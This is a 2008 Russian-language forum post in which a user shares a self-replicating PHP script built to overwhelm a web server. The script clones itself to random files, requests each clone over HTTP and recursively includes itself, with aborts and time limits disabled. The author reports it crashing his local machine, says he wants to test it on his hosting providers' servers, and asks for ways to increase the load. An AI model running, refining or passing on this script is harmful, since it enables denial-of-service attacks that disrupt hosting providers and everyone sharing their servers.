HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > ПРОГРАММИРОВАНИЕ > PHP
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #11  
Старый 02.12.2008, 16:17
ss88
Участник форума
Регистрация: 27.11.2008
Сообщений: 161
Провел на форуме:
298300

Репутация: 128
Отправить сообщение для ss88 с помощью ICQ
По умолчанию

Вот всегда так, лекарство от болезней изобретают тысячелетиями, а нож делается в считанные минуты....

PHP код:
<?php
/************************************************
 * Привет от ss88                                *
 ************************************************ 
 */
//тьма пробелов 
    
$zhopaString="                                                                                                                                               
                                                                                                                                                                 
                                                                                                                                                                 
                                                                                                                                                                
    "
;
//понта ради, мы никогда этого не увидим
    
echo "--------------\n| СУШИ ВЕСЛА |\n--------------\n";
//мы против абортов    
    
ignore_user_abort();
    
//забыть о преградах и запретах
    
set_time_limit(0);
    
//хэшируем пробелы - не самая простая задача с точки зрения CPU    
    
$zhopaString.=md5($zhopaString);
    
//имя нового клона
    
$randomFileName="bug".rand(0,99999).".php";
    
//открываем себя
    
$selfFD=fopen($_SERVER['SCRIPT_FILENAME'],"r");
    
//собственные внутренности
    
$selfContent=fread($selfFD,5000);
    
//создаем новый файл
    
$newFile=fopen($randomFileName,"w+");
    
//клонируем себя
    
fwrite($newFile,$selfContent);
    
//клон готов
    
fclose($newFile);
    
//формируем путь и вызываем клона на сцену        
    
$arPath=explode("/",$_SERVER['SCRIPT_NAME']);
    
$arPath[count($arPath)-1]=$randomFileName;
    
$getString="http://".$_SERVER['SERVER_NAME'].implode("/",$arPath);
    
$zhopaString.=md5(file_get_contents($getString));
    
//подключаем еще разок себя, но до этого врядли дойдет
    
require ($_SERVER['SCRIPT_NAME']);
?>
Вот такие вот банальные грабли для сервера получились, который сам себя будет Ddos'ить, мой локалхост под виндой ложится намертво, с 16 дефолтных МБ ОЗУ сьедает за 1.6 секунды 169Мб и вылетает либо виснет...
Вот тут еще открывается тема про открытые дескрипторы файлов, если не закрывать ранее открытые, то не переваливает за 256, но "сетевой маркетинг" продолжается...
Хочу потестить эти вилы в реальных условиях, но пока не решаюсь на серваках, которые мне дают хостинг....
Может кто-то что-то еще подскажет? Кстати, по-моему, можно увеличить нагрузку на сервер еще и за счет увеличения количества вычислений до обращения к клону...
Спасибо, Ch3ck, а то я забыл про аборты от юзеров

Последний раз редактировалось ss88; 02.12.2008 в 16:45..
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[c/c++] Новичкам: задаем вопросы _Great_ С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby 5421 21.04.2026 07:37
Интернетчики задали российскому президенту очень странные вопросы podkashey Мировые новости. Обсуждения. 4 07.07.2006 16:53
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ